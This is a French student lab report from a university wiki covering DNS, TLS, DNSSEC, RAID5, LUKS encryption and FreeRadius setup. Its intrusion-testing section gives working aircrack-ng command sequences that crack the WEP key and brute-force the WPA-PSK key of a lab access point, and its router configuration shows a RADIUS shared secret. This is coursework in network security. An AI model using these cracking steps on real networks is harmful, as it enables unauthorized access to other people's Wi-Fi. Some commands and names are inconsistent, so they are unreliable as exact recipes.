Dans un premier temps, nous installons apache2 et bind9 dans notre VM. apache2 va nous permettre de gérer notre siteweb et bind9 de gérer le serveur DNS. 

apt update
apt-get install bind9 dnsutils
apt-get install apache2
Configuration sur Gandi

Sur Gandi, une plateforme d'enregistrement notamment des sites webs et DNS, nous achetons un nom de domaine : 

ate2.space

Nous voulons ensuite que notre site web puisse être accessible depuis l'extérieur, notamment grâce à un DNS personnel. Pour cela, nous enregistrons un nouveau serveur DNS dans Gandi qui ne sera visible que dans notre domaine. Nous affectons l'adresse ip de notre VM à ce DNS:

Name server canu.PNG
Dns glue record canu.PNG

A présent que le DNS est créé, il faut préciser qu'on souhaite qu'il soit utilisé pour la recherche de notre site web.

Configuration sur la VM

A présent, on doit configurer notre VM afin de jouer le rôle de serveur DNS.

Pour cela, tout se fera dans le répertoire /etc/bind.

Dans un premier temps, on crée un fichier de config db.ate2.space : 

@       IN      SOA     ns.ate2.space. root.ate2.space (
                        2           ; Serial
                        604800      ; Refresh
                        86400       ; Retry
                        2419200     ; Expire
                        604800 )    ; Negative Cache TTL
;
        IN      NS      ns.ate2.space
@       IN      A       193.48.57.187
ns      IN      A       193.48.57.187
www     IN      A       193.48.57.187

Ensuite on va configurer l'espace de noms, dans named.conf.local pour lui préciser quel fichier de configuration utiliser pour le DNS : 

zone "ate2.space" {
        type master;
        file "/etc/bind/db.ate2.space";
        allow-transfer{none;}; //Précise si il doit questionner d'autres serveurs DNS jusqu'à trouver l'adresse correspondante
};

On active le serveur DNS, avec named.conf.options : 

options {
        directory "/var/cache/bind";

        //............// 

        dnssec-enable yes;
        dnssec-validation auto;

        listen-on-v6 { any; };
        allow-recursion { localhost; };
};

Et finalement on redémarre le service Bind9 : 

service bind9 restart

On vérifie si le domaine est accessible avec la commande suivante : 

host ate2.space

Séance 4 : 17/12/2018

Configuration routeur

Lors de la semaine le routeur, probablement lors d'un shutdown, s'est rallumé en pointant vers le mauvais os ce qui a eu pour effet de modifier la configuration pour cause d'incompatibilité. A notre arrivée le VLAN1 était down sans que l'on comprenne pourquoi. Tout d'abord la configuration du Vlan1 doit se faire sans encapsulation et untag. Cependant le problème a subsisté.

Après quelques recherches nous n'avons pas trouvé l'origine du problème cependant un simple reload du router à réglé le problème. Toutefois Le fait de changer le vlan en untag empêche le spanning tree de fonctionner et ne nous protège donc pas d'un effondrement du réseau par appel récursif de paquets. Nous avons donc du nous résoudre à ne laisser qu'un seul vlan1 sur un des deux routeurs pour éviter ce problème.

4.3 Sécurisation de site web par certificat

Création du certificat avec OpenSSL

On génère avec OpenSSL deux fichiers, ate.csr et ate.space.key qui contiennent respectivement le Certificate Signing Request (CSR) et la clé. 

openssl req -nodes -newkey rsa:2048 -sha1 -keyout ate.space.key -out ate.csr
 -rsa:2048  -sha1 : représente la méthode de chiffrement
 -newkey : demande une nouvelle clé

Sur Gandi on va pouvoir acheter le certificat. On lui transmet le .csr généré, qui regroupe toutes les informations sur notre entité. Gandi créera alors un certificat SSL pour notre serveur. Cependant, Gandi doit être certaine que ce certificat est bien pour l'entité qui la demande et non pour une personne tierce qui essaierait de se faire passer pour un autre serveur. Pour se faire, il y a plusieurs méthode d'authentification: - par mail - par fichier - par DNS Nous avons choisi l'authentification par fichier. Gandi génère alors un fichier contenant un nom et un contenu généré aléatoirement. On doit placer ce fichier dans notre serveur dns. Il est alors accessible par l'extérieur. Gandi peut alors le visualiser et déterminer ainsi qu'on est bien le propriétaire du serveur. Si ce n'était pas le cas, nous n'aurions pas pu mettre ce fichier sur le serveur officiel. Gandi n'aurait alors pas pu visualiser le fichier et ne nous aurait pas validé le certificat.

La validation a pris 4 heures. Gandi nous a ensuite délivré le certificat.

On place alors la clé, le certificat intermédiaire et le certificat final aux emplacements suivants : 

/etc/ssl/certs/GandiStandardSSLCA2.pem

/etc/ssl/certs/ate2.space.crt
                                                                    
/etc/ssl/private/ate2.space.key

Ensuite on ajoute ces fichiers dans une nouvelle configuration dans /etc/apache2/sites-available : 000-neptune-poseidon.space-ssl.conf 

     <VirtualHost 193.48.57.187:443>
              ServerName www.ate2.space
              ServerAlias ate2.space
              DocumentRoot /var/www/html/
              CustomLog /var/log/apache2/secure_acces.log combined

              SSLEngine on
              SSLCertificateFile /etc/ssl/ate2.space.crt
              SSLCertificateKeyFile /etc/ssl/ate2.space.key
              SSLCertificateChainFile /etc/ssl/GandiStandardSSLCA2.pem
              SSLVerifyClient None
      </VirtualHost>

Dans ce même fichier on ajoute une redirection pour être toujours connecté en https : 

                ---------------------------
     <VirtualHost 193.48.57.187:80>
              ServerName www.ate2.space
              ServerAlias ate2.space
              Redirect / https://ate2.space
      </VirtualHost>

On active le module ssl : 

a2enmod ssl

On se place dans le répertoire : /etc/apache2/site-enabled/, puis on active notre configuration ssl : 

a2ensite 000-ate2.space-ssl.conf

On relance le service apache2 : 

service apache2 restart

Configuration d'apache2

4.4 Sécurisation de serveur DNS par DNSSEC

Maintenant que notre domaine est accessible par notre DNS, nous voulons rendre la liaison sécurisé. On va donc configurer notre serveur DNS en mode "secure"

On va générer des clés KFK et ZSK avec l'algorithme RSA/SHA-1. 

dnssec-keygen -a RSASHA1 -b 2048 -f KSK -r /dev/urandom -n ZONE ate2.space
dnssec-keygen -a RSASHA1 -b 1024 -r /dev/urandom -n ZONE ate2.space

On récupère alors 4 fichiers. Chaque couple de fichier correspond une des 2 clés. Dans ce couple, le fichier contient soit la clé publique, soit la clé privée.

On va alors les renommer en gardant leurs suffixes, mais en précisant quelle clé correspond à quoi: 

ate2.space-kfk.key //clé publique
ate2.space-kfk.private //clé privée
ate2.space-zsk.key
ate2.space-zsk.private

On retourne ensuite dans le fichier de configuration créé pour notre DNS : db.ate2.space. On va rajouter le chemin des 2 clés générées: 

$include /etc/bind/ate2.space-ksk
$include /etc/bind/ate2.space-zsk

Ces deux lignes sont à rajouter après TTL 604800

On va à présent signer une zone, cela va crypter le fichier de configuration du DNS, qui sera utilisé pour les futures requêtes au DNS. 

dnssec-signzone -o ate2.space -k ate2.space-ksk ../db.ate2.space ate2.space-zsk

On restart le service bind

Et on entre les 2 clés publiques générées dans Gandi.

5 Tests d’intrusion

5.2 Cassage de clef WEP d’un point d’accès Wifi

En suivant la même logique que pour le crackage de clé WAP: 

airmon-ng
airmon-ng start wlan0
airodump-ng --encrypt wep wlan0mon

On récupère les informations de cracotte10 et on lance la commande: 

airodump-ng -c 12 –-bssid 04:DA:D2:9C:50:53 -w /root/Desktop/WEP wlan0mon

Et on force la connection avec : 

aireplay-ng --fakeauth 30 -a 04:DA:D2:9C:50:59 wlan0mon


une fois récupéré un nombre significatif de date, environ 100 000, nous allons arrêter le processus et lancer la commande suivante : 

aircrack-ng WEP.cap


On obtient ainsi la clé WEP de notre point d'accès!

G12 cleWEP.jpg

5.3 Cassage de mot de passe WPA-PSK par force brute

Pour le cassage de la clé WPA nous allons : 

- récupérer les fichiers de handshake
- générer un dictionnaire contenant toutes les possibilités de mot de passe
- lancer le brute force du handshake

Nous avons utilisé un ordinateur portable (possédant donc une carte wifi) puis utilisé l'utilitaire suivant : 

airmon-ng

On connait à présent le nom de l'interface et on s'y connecte en mode moniteur pour analyser le réseau :

passage en mode moniteur : 

airmon-ng start wlan0

affichage du trafic: 

airodump-ng wlanS0mon

On récupère ensuite le nom du wifi que l'on veut craquer, dans notre cas ce sera cracotte10 

BSSIID de cracotte: 04:DA:D2:9C:50:59
channel : 9

On fait le handshake : 

airodump-ng -c 9 –-bssid 04:DA:D2:9C:50:59 -w /root/Desktop/Amaury wlanS0mon


Après avoir attendu un certain temps nous avons récupéré les fichiers suivants : 

Amaury-01.cap
Amaury-01.csv
Amaury-01.kismet.csv
Amaury-01.kismet.netxml

Nous avons ensuite générer le dictionnaire contenant toutes les possibilités de mot de passe, il s'agit simplement d'un fichier texte contenant tout les nombres de 0 à 100000000.

On peut réaliser le crackage de la clé : 

aircrack-ng -a2 -b 04:DA:D2:9C:50:59 -w /root/Desktop/Dictionnary.txt /root/Desktop/*.cap

-a indique la méthode de crack

Nous avons après plusieurs heures obtenus la clé WAP du point d'accès!

Clef wpa.png

6 réalisation

6.1 Sécurisation de données avec RAID5

Nous allons ensuite créer 4 partitions LVM de 1Go sur Cordouan avec des noms liés à notre VM : 

lvcreate -L1G -n /dev/virtual/AteRaid1 -v
lvcreate -L1G -n /dev/virtual/AteRaid2 -v
lvcreate -L1G -n /dev/virtual/AteRaid3 -v
lvcreate -L1G -n /dev/virtual/AteRaid4 -v // utile pour 6.2

On modifie alors le fichier de configuration de notre machine afin d'ajouter les partitions précédentes à notre machine virtuelle. Dans /etc/xen/Ate.cfg : 

'phy:/dev/virtual/AteRaid1,xvda5,w',
'phy:/dev/virtual/AteRaid2,xvda6,w',
'phy:/dev/virtual/AteRaid3,xvda7,w'

On relance enfin notre VM : 

xl shutdown Ate
xen create Ate.cfg


On peut donc générer un système RAID5 logiciel à l'aide des 3 partitions obtenues : Sur la Xen 

apt-get install mdadm

mdadm --create /dev/md127 --level=5 --assume-clean --raid-devices=3 /dev/xvda5 /dev/xvda6 /dev/xvda7


On formate le RAID5 créé: 

mkfs -t ext4 /dev/md127

On le monte sur notre VM: 

mount /dev/md127 /mnt

6.2 Cryptage de données

Le but ici est de formater un volume en mode crypté.

Nous utiliserons ici le volume créé juste au dessus AteRaid4 sur la Zabeth11 correspondant au xvda8 de notre VM

on l'ajoute au fichier de configuration de notre VM sur Corduan en tant que volume physique. 

disk        = [
                 'file:/usr/local/xen/domains/Ate/disk.img,xvda2,w',
                 'file:/usr/local/xen/domains/Ate/swap.img,xvda1,w',
                 'phy:/dev/virtual/IMA5-Ate-home,xvda3,w',
                 'phy:/dev/virtual/IMA5-Ate-var,xvda4,w',
                 'phy:/dev/virtual/ateRaid1,xvda5,w',
                 'phy:/dev/virtual/ateRaid2,xvda6,w',
                 'phy:/dev/virtual/ateRaid3,xvda7,w',
                 'phy:/dev/virtual/ateRaid4,xvda8,w'
              ]

Ensuite sur notre VM, on installe cryptsetup et LVM2

On va à présent configurer notre volume pour le rendre crypté, inaccessible sans le mot de passe.

Formatage de la partition avec encryptage : 

cryptsetup luksFormat -c aes -h sha256 /dev/xvda8

On crée ensuite un volume virtuel (home_encrypted) sur le volume physique (xvda8) 

cryptsetup luksOpen /dev/xvda8 home_crypted

On nous demande alors un mot de passe pour les prochaines connexions

On formate notre volume en ext4 

mkfs -t ext4 /dev/mapper/home_encrypted

On le monte ensuite sur /mnt 

mount -t ext4 /dev/mapper/home_crypted /mnt/

On y crée un fichier /mnt/testFile

On démonte /mnt 

umount /mnt

Puis on ferme la communication sur le volume crypté 

cryptsetup luksClose home_crypted

A présent, on ne peut plus avoir accès au volume /dev/mapper/home_crypted tant qu'on en s'est pas reconnecté avec cryptsetup

Pour pouvoir y raccéder, il suffit: 

cryptsetup luksOpen /dev/xvda8 home_crypted 
mount -t ext4 /dev/mapper/home_crypted /mnt/

Et normalement, on devrait retrouver notre fichier testFile



6.5 Freeradius

FreeRadius est un serveur modulaire, aujourd'hui nous l'utiliserons pour l'authentification sur notre réseau pour les utilisateurs d'un point d'accès Wifi.

configuration du Point d'accès : 

enable

conf t
aaa new-model
aaa group server radius radius_group21
server 193.48.57.180 auth-port 1812 acct-port 1813
radius-server host 193.48.57.180 auth-port 1812 acct-port 1813 key secretIMA5SC
exit
aaa authentication login eap_group21 group radius_group21
end

conf t
dot11 ssid Hades
vlan 21
authentication open eap eap_group21
authentication network-eap eap_group21
authentication key-management wpa
Mbssid Guest-mode
end

conf t
int dot11radio0
Mbssid
ssid Hades
encryption vlan 21 mode ciphers aes-ccm tkip

conf t
int dot11radio0.11
encapsulation dot1Q 21
end
conf t
int dot11radio0.11
encapsulation dot1q 21
bridge-group 21
end

Attention si on souhaite relancer FreeRadius ne pas oublier de kill le processus précèdent sinon la connexion ne pourra pas se faire le port étant déjà pris!

Nous avons pu confirmer la connexion entre notre serveur freeRadius et le point d'accès.

MyFREEradiusG12.png

Récupérée de « https://wiki-ima.plil.fr/mediawiki//index.php?title=TP_sysres_IMA5sc_2018/2019_G11&oldid=49162 »